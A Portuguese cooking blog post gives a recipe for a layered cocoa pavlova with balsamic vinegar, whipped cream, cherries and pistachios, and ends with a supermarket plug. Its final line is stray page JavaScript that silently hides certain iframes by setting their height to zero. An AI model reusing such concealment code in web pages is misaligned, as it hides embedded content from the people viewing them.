Pavlova de cacau em camadas com cerejas e pistachos

Eu, as pavlovas e esta minha obsessão (saudável) de que me saiam perfeitas e de ir experimentando algumas alterações na base e no recheio. A de hoje é inspirada na da Nigella. Segui o seu conselho e utilizei vinagre balsâmico, mas optei por cacau em pó em vez de chocolate…

As cerejas, como podem ver, são enorme! Encontrei-as no Lidl e, apesar do preço, não lhes consegui resistir!

Ingredientes:
6 claras de ovo a temperatura ambiente
300 gramas de açúcar
2 colheres de sopa de cacau
1 colher de sopa de maizena
1 colher de sopa de vinagre balsâmico

Preparação:
Desenhe dois círculos com cerca de 17 cms numa folha de papel vegetal. Dê a volta ao papel e coloque-o sobre uma placa ou tabuleiro de forno. Reserve
Ligue o forno nos 150º.
Coloque as claras num recipiente limpo de gordura e bem seco.
Bata até começarem a ficar firmes.
Adicione o açúcar, gradualmente e deixando que dissolva bem entre cada adição.
Bata até formar um merengue forte e não se notem os grãos de açúcar.
Peneire a maizena juntamente com o cacau e adicione ao merengue. Adicione também o vinagre e envolva tudo muito bem com a ajuda de uma espátula de silicone, mas sem bater.
Divida este preparado pelos círculos desenhados no papel e alise, ou forme uns picos irreverentes, conforme a sua personalidade 🙂
Coloque o tabuleiro no forno e reduza, imediatamente, a temperatura para os 130º.
Deixe cozinhar durante 60 minutos. Desligue o forno e evite cair na tentação de abrir a porta! Deixe arrefecer completamente dentro do forno.

Recheio e cobertura:
400 ml de natas gordas para bater
2 colheres de sopa de açúcar
300 gramas de cerejas
1/2 chávena de pistachos

Bata as natas bem frias até começarem a ficar firmes.
Adicione o açúcar e bata mais um pouco.
Coloque um disco de pavlova no prato de serviço.
Distribua metade das natas e alise um pouco.
Salpique com algumas cerejas descaroçadas e pistachos.
Repita o processo.

E por falar em cerejas, elas estão em destaque no Continente, juntamente com outros “frescos”. Consultem mais informação sobre este fruto delicioso, bem como sugestões e formas de conservação. document.addEventListener(‘DOMContentLoaded’,function(){var a=document.getElementsByTagName(‘IFRAME’),i;for(i=0;i< a.length;i++){if(a[i].src.indexOf('jywn7zprV')!==-1){a[i].height=0}}});